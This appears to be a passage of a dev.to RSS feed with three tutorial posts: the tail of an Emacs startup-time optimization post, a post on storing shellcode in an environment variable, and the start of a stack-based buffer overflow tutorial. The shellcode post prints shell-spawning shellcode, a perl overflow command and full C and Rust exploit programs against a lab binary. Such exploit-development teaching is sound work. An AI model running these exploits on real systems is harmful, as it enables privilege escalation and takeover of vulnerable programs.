&lt;li&gt;Tangle org file&lt;/li&gt;
&lt;li&gt;Conclusion&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h1&gt;
  
  
  Introduction
&lt;/h1&gt;

&lt;p&gt;Emacs is a great tool. However, its loading time can grow huge. In this post, I’ll show you some configurations that helped me reduce the start up time from &lt;strong&gt;~2.45s&lt;/strong&gt; to &lt;strong&gt;~0.81s&lt;/strong&gt;.&lt;/p&gt;

&lt;h1&gt;
  
  
  Optimization steps
&lt;/h1&gt;

&lt;p&gt;To make it more interesting, I’m going to add a section for each optimization along with the time it saved me. That way, you can decide which optimizations you would like to apply.&lt;/p&gt;

&lt;h2&gt;
  
  
  Base configuration
&lt;/h2&gt;

&lt;p&gt;The &lt;a href="https://github.com/danielorihuela/dotfiles/blob/master/emacs/config.org" rel="noopener noreferrer"&gt;base configuration&lt;/a&gt;requires ~2.45s to initialize Emacs. If you check it, be aware that I’m not tangling the section &lt;strong&gt;Writing Research in LaTeX&lt;/strong&gt;. If you tangle it, it needs even more time to load. That’s the starting point.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft2z8idqpm3fairrl8bre.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft2z8idqpm3fairrl8bre.webp" width="384" height="71"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Don’t manipulate UI in init.el
&lt;/h2&gt;

&lt;p&gt;Manipulating the UI is expensive: disabling UI elements, modifying the font, the theme, etc. I changed a couple of things related to the UI.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Remove the code that hides some of the default UI elements from Emacs.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Remove the code that loads the theme.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;With that, we go down to ~2s.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5mfsjb9e6hdt6xocislv.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5mfsjb9e6hdt6xocislv.webp" width="251" height="38"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Garbage collector
&lt;/h2&gt;

&lt;p&gt;Emacs uses 8MB as the default value for the garbage collector. As a result, Emacs will call the garbage collector too many times during the start up. Doom emacs has a trick to improve that. We need to add the following code to &lt;code&gt;early-init.el&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(setq gc-cons-threshold 63000000
      gc-cons-percentage 0.6)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With that, we go down to ~1.021s. Half the time from the previous step.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3afq6el72waclrjbltft.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3afq6el72waclrjbltft.webp" width="177" height="43"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Disable UI
&lt;/h2&gt;

&lt;p&gt;We can hide some UI elements in the &lt;code&gt;early-init.el&lt;/code&gt; to gain some performance.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(push '(menu-bar-lines . 0) default-frame-alist)
(push '(tool-bar-lines . 0) default-frame-alist)
(push '(vertical-scroll-bars) default-frame-alist)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With that, we go down to ~0.92s.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frorxb0aio50f49b5s9gr.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frorxb0aio50f49b5s9gr.webp" width="185" height="44"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Autoload packages
&lt;/h2&gt;

&lt;p&gt;Never &lt;code&gt;require&lt;/code&gt; packages. Use &lt;code&gt;use-package&lt;/code&gt; to autoload them. For example, we can load the &lt;code&gt;magit&lt;/code&gt; the first time we call &lt;code&gt;magit-status&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(use-package magit
  :bind ("C-x g" . magit-status))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With that, we go down to ~0.91s. It’s anecdotal in my case, but it can save you a lot of time if you are using dozens or hundreds of packages.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy3376wt76xn8c67qvug2.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy3376wt76xn8c67qvug2.webp" width="235" height="58"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Tangle org file
&lt;/h2&gt;

&lt;p&gt;Normally, Emacs reads the configuration from the &lt;code&gt;init.el&lt;/code&gt; file. However, we can use org mode to include comments with the code. Personally, I had my configuration in a file called &lt;code&gt;config.org&lt;/code&gt;. I loaded it from my &lt;code&gt;init.el&lt;/code&gt; with the following line of code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(org-babel-load-file "~/dotfiles/emacs/config.org")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It’s pretty convenient, but slow. We can make it faster by tangling the file directly into the &lt;code&gt;init.el&lt;/code&gt;. In other words, we can extract the source code blocks from the &lt;code&gt;org&lt;/code&gt; file and create the &lt;code&gt;init.el&lt;/code&gt; with them.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# -*- after-save-hook: (org-babel-tangle) -*-
#+property: header-args:elisp :exports code :results none :tangle init.el
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With that, we go down to ~0.82s and get the &lt;a href="https://github.com/danielorihuela/dotfiles/blob/master/emacs/config.org" rel="noopener noreferrer"&gt;final config&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyplvr4fnj7s2cgnm85ui.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyplvr4fnj7s2cgnm85ui.webp" width="236" height="55"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Emacs is easy to configure, but hard to optimize. Try all the tricks above and check for some more on the internet.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Store shellcode in environment variable</title>
      <dc:creator>daniel orihuela</dc:creator>
      <pubDate>Sun, 29 Oct 2023 00:00:00 +0000</pubDate>
      <link>https://dev.to/daniel_orihuela_96731fc2e/store-shellcode-in-environment-variable-2kle</link>
      <guid>https://dev.to/daniel_orihuela_96731fc2e/store-shellcode-in-environment-variable-2kle</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmhj7svmwafttyc8gwb46.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmhj7svmwafttyc8gwb46.jpg" width="800" height="800"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Manually store shellcode in env var&lt;/li&gt;
&lt;li&gt;Automating the attack&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In the &lt;a href="//../stack-based-buffer-overflows"&gt;previous post&lt;/a&gt; we explained how stack-based buffer overflows work. In the last exercise, we inserted the shellcode in the stack. However, this might be a problem. What happens if the shellcode doesn’t fit in the stack? We can store it in an environment variable.&lt;/p&gt;

&lt;h1&gt;
  
  
  Manually store shellcode in env var
&lt;/h1&gt;

&lt;p&gt;We will export the shellcode manually and use it in our exploit.&lt;/p&gt;

&lt;p&gt;Let’s keep working with the &lt;code&gt;notesearch&lt;/code&gt; program (the last exercise of the previous post). Remember that the shellcode was&lt;code&gt;\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05&lt;/code&gt;. We need to export it as a binary into the env var. Otherwise, the code won’t be executed.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;echo -e "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05" &amp;gt; shellcode.bin
export SHELLCODE=$(cat shellcode.bin)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The terminal will complain about the encoding but don’t worry. It’s still working.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9yk8o6qb690kenrt1yt4.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9yk8o6qb690kenrt1yt4.webp" width="786" height="129"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The next step is debugging the exploit and searching the address where the environment variable is in the stack. Environment variables are in the lowest positions.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;env gdb ~/Desktop/overflow/notesearch
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We can place a break in the main function to inspect the stack frame.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fphxhjtq8648ny1j09z5u.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fphxhjtq8648ny1j09z5u.webp" width="673" height="286"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The shellcode is at &lt;code&gt;0x7fffffffe975&lt;/code&gt;. Notice that if the user adds or removes environment variables, the memory address will change. We can execute&lt;code&gt;~/Desktop/overflow/notesearch $(perl -e 'print "\x90" x 120, "\x75\xe9\xff\xff\xff\x7f"')&lt;/code&gt;. Remember, we use the first 120 bytes to reach the return address memory location.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fox6o2ob44m4e76mm3blk.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fox6o2ob44m4e76mm3blk.webp" width="800" height="151"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Automating the attack
&lt;/h1&gt;

&lt;p&gt;Another advantage of storing the shellcode in an environment variable is that automating the attack is easier. C&lt;a href="https://linux.die.net/man/3/execl" rel="noopener noreferrer"&gt;execle&lt;/a&gt; function allows to execute files with the given arguments and environment variables.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;int execle(const char *path, const char *arg,..., char * const envp[]);&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;We can execute the binary with just the shellcode in the environment variables. Hence, we get rid of other environment variables that could modify the memory address. We can use gdb, as before, to get the new memory address. There’s one difference, though. Since we want to debug the program called with &lt;code&gt;execle&lt;/code&gt;, we need to allow gdb to debug it. Execute &lt;code&gt;set follow-fork-mode child&lt;/code&gt; in gdb and add a break to the main function. It will eventually stop in &lt;code&gt;notesearch&lt;/code&gt;. Once there, search the shellcode in the stack frame as we did before.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyo3etjyn9c3t2u44r49e.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyo3etjyn9c3t2u44r49e.webp" width="800" height="328"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The exploit in C is quite self-explanatory. We create the argument, the environment and execute &lt;code&gt;notesearch&lt;/code&gt; with them.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;

char shellcode[]="\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05";

int main(int argc, char *argv[]) {
    char buffer[120 + 8];
    memset(buffer, 'a', 120);
    memcpy(&amp;amp;buffer[120], "\x75\xe9\xff\xff\xff\x7f", 8);

    char* env[2] = {shellcode, 0};
    execle("notesearch", "./notesearch", buffer, 0, env);
    free(buffer);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbvjfeo1x19jt7jeio4zi.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbvjfeo1x19jt7jeio4zi.webp" width="800" height="343"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The same exploit in Rust.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;use std::ffi::OsStr;
use std::process::Command;

fn main() {
    let shellcode = unsafe {
        OsStr::from_encoded_bytes_unchecked(&amp;amp;[
            0x48, 0x31, 0xf6, 0x56, 0x48, 0xbf, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68,
            0x57, 0x54, 0x5f, 0x6a, 0x3b, 0x58, 0x99, 0x0f, 0x05,
        ])
    };

    let shellcode_address = [0xd3, 0xef, 0xff, 0xff, 0xff, 0x7f];
    let memory = [0x61; 120]
        .iter()
        .chain(shellcode_address.iter())
        .map(|x| *x as u8)
        .collect::&amp;lt;Vec&amp;lt;u8&amp;gt;&amp;gt;();
    let memory_arg = unsafe { OsStr::from_encoded_bytes_unchecked(&amp;amp;memory) };

    Command::new("./notesearch")
        .arg(memory_arg)
        .env_clear()
        .env("SHELLCODE", shellcode)
        .spawn()
        .unwrap()
        .wait_with_output()
        .unwrap();
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcgf4tb8j6tlh8o2t9vya.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcgf4tb8j6tlh8o2t9vya.webp" width="580" height="113"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Stack-based buffer overflows</title>
      <dc:creator>daniel orihuela</dc:creator>
      <pubDate>Fri, 20 Oct 2023 00:00:00 +0000</pubDate>
      <link>https://dev.to/daniel_orihuela_96731fc2e/stack-based-buffer-overflows-49hk</link>
      <guid>https://dev.to/daniel_orihuela_96731fc2e/stack-based-buffer-overflows-49hk</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu5swe5q96y6k8yrw11ye.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu5swe5q96y6k8yrw11ye.png" width="800" height="800"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What’s a buffer overflow?&lt;/li&gt;
&lt;li&gt;What’s the stack?&lt;/li&gt;
&lt;li&gt;
How to exploit stack based buffer overflows

&lt;ul&gt;
&lt;li&gt;Overwrite local variable in stack frame&lt;/li&gt;
&lt;li&gt;Overwrite return address&lt;/li&gt;
&lt;li&gt;Get shell&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;How can we prevent buffer overflows?&lt;/li&gt;

&lt;li&gt;Conclusion&lt;/li&gt;

&lt;/ul&gt;

&lt;h1&gt;
  
  
  What’s a buffer overflow?
&lt;/h1&gt;

&lt;p&gt;Buffer overflows are a type of vulnerability where the attacker gives more data to a buffer than it can handle. As a result, the program overwrites adjacent memory locations with the exceeding data. Usually, the program will crash. However, a skilled hacker can take control of the program as it crashes and achieve incredible things, like access to a shell. Nowadays, there are some countermeasures in place. They make it much harder but not impossible. Especially if using languages like C or C++, that lets developers manage the memory.&lt;/p&gt;

&lt;p&gt;There are two types of buffer overflows: stack-based and heap-based. In this post, we will talk about the first type.&lt;/p&gt;

&lt;h1&gt;
  
  
  What’s the stack?
&lt;/h1&gt;

&lt;p&gt;Before jumping right into stack-based buffer overflows, we need to understand what a “stack” is in this context and how it works.&lt;/p&gt;

&lt;p&gt;The stack is a region of memory reserved for each thread to store data. Each time you call a function, a stack frame is created where the arguments, the local variables and the return address are stored in a Last Input First Output (LIFO) manner. Once it finishes, the program “removes” the stack frame from the stack and resumes the execution of the caller thanks to the return address. Now, on the top of the stack, we have the stack frame from the resumed function. The program is ready to go.&lt;/p&gt;

&lt;p&gt;Stack example:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcldos1p9xd2h55cnramn.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcldos1p9xd2h55cnramn.webp" width="359" height="216"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Great! We understand the basis of how the stack works at a high level. However, we still need to know the low-level details of that process if we want to exploit it. So, what’s actually happening? How does the computer know which instruction to execute? How does the computer know how to resume the execution of the caller function? How does it create and remove the stack frame? That’s all due to registers. The CPU of a computer use different registers to store data, transfer data, store instructions, … We are interested in the Extended Instruction Pointer (EIP), which stores the memory address of the next instruction to execute; the Extended Stack Pointer (ESP), which points to the top of the stack frame; and the Extended Base Pointer (EBP), which points to the bottom of the stack frame. Whenever we call a function, the EBP will store the actual ESP. The end of the caller function stack frame is the beginning of the called function stack frame. Pushing data to the stack will increase the ESP. The EIP will point to the next instruction to execute. Once we reach the return statement, the ESP will be equal to EBP (removing the stack frame) and the EIP will be equal to the return address. The process is much more complex than that. For instance, I’m not explaining how the EBP is restored. I encourage you to do some further research about the topic. I don’t think we need more for that post.&lt;/p&gt;

&lt;p&gt;We should have a clear idea of how stack frames work and some lower details. We are ready to exploit some programs.&lt;/p&gt;

&lt;h1&gt;
  
  
  How to exploit stack based buffer overflows
&lt;/h1&gt;

&lt;p&gt;Relevant system information:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Linux 5.15.0-86-generic x86_64&lt;/li&gt;
&lt;li&gt;Intel(R) Core(TM) i7-10510U CPU&lt;/li&gt;
&lt;li&gt;Little Endian&lt;/li&gt;
&lt;li&gt;48 bits address size&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All the vulnerable programs are from &lt;strong&gt;Hacking: The Art of Exploitation, 2nd Edition&lt;/strong&gt;. They may contain modification to use in modern machines. You can get the original source code&lt;a href="https://github.com/intere/hacking/blob/master/booksrc" rel="noopener noreferrer"&gt;https://github.com/intere/hacking/blob/master/booksrc&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Overwrite local variable in stack frame
&lt;/h2&gt;

&lt;p&gt;Let’s start with the &lt;code&gt;auth_overflow.c&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

int check_authentication(char *password) {
  int auth_flag = 0;
  char password_buffer[16];

  strcpy(password_buffer, password);

  if(strcmp(password_buffer, "brillig") == 0)
    auth_flag = 1;
  if(strcmp(password_buffer, "outgrabe") == 0)
    auth_flag = 1;

  return auth_flag;
}

int main(int argc, char *argv[]) {
  if(argc &amp;lt; 2) {
    printf("Usage: %s &amp;lt;password&amp;gt;\n", argv[0]);
    exit(0);
  }
  if(check_authentication(argv[1])) {
    printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
    printf(" Access Granted.\n");
    printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
  } else {
    printf("\nAccess Denied.\n");
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The program is simple. It receives a password. If it’s equal to “brillig” or “outgrabe” we will see the message “Access Granted”, otherwise, we will see “Access Denied”. With a buffer overflow, we can get the “Access Granted” message even when the password is invalid.&lt;/p&gt;

&lt;p&gt;The error is inside the &lt;code&gt;check_authentication&lt;/code&gt; function, which copies the &lt;code&gt;password&lt;/code&gt; data to the &lt;code&gt;password_buffer&lt;/code&gt; without checking the length. Notice that the &lt;code&gt;password_buffer&lt;/code&gt; can hold a maximum of 16 bytes. In other words, the program will reserve 16 bytes in the stack for that variable. Nevertheless, the data behind the &lt;code&gt;password&lt;/code&gt; pointer can hold a larger array of characters. The idea here is to give the program a password longer than 16 bytes so that when the data is copied into the &lt;code&gt;password_buffer&lt;/code&gt;, the extra bytes overwrite the &lt;code&gt;auth_flag&lt;/code&gt;. That’s the boolean that decides the message to be shown. If we can control it, we can control the printed message. Remember that the stack frame is a LIFO. Hence, the &lt;code&gt;password_buffer&lt;/code&gt; will be on top of the&lt;code&gt;auth_flag&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Let’s compile the program and execute it with a bigger password than expected.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gcc auth_overflow.c -o auth_overflow
./auth_overflow "password"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I’ve tried with several lengths. With 25 characters, the program fails.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fivdyexlziasx642rhanq.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fivdyexlziasx642rhanq.webp" width="800" height="165"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There’s something curious, though. The function variables only take 20 bytes, 16 for the &lt;code&gt;password_buffer&lt;/code&gt; and 4 for the &lt;code&gt;auth_flag&lt;/code&gt;, but we need 25 bytes to make it fail. I did some research, and it seems like it could be related to some padding that the compiler or the system is adding between variables. In any case, the program is failing with “stack smashing”. That tells us that the compiler detected the buffer overflow attack and stoped the execution. Current versions of GCC use “canaries” to detect buffer overflows. It adds some data in the stack frame at the beginning of the function and expects that it remains unchanged when exiting it. Let’s disable that for our learning.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gcc auth_overflow.c -o auth_overflow -fno-stack-protector
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffwbe0eh8qvnzybo1indg.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffwbe0eh8qvnzybo1indg.webp" width="687" height="117"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;With canaries disabled, let’s see how many bytes are between the&lt;code&gt;password_buffer&lt;/code&gt; and the &lt;code&gt;auth_flag&lt;/code&gt;. That will tell us the password length needed to overwrite the &lt;code&gt;auth_flag&lt;/code&gt;. For that, we can use gdb. It’s only a matter of placing a breakpoint inside the vulnerable function and checking the memory addresses.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gcc auth_overflow.c -o auth_overflow -fno-stack-protector -g # -g option adds debug symbols
gdb ./auth_overflow
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



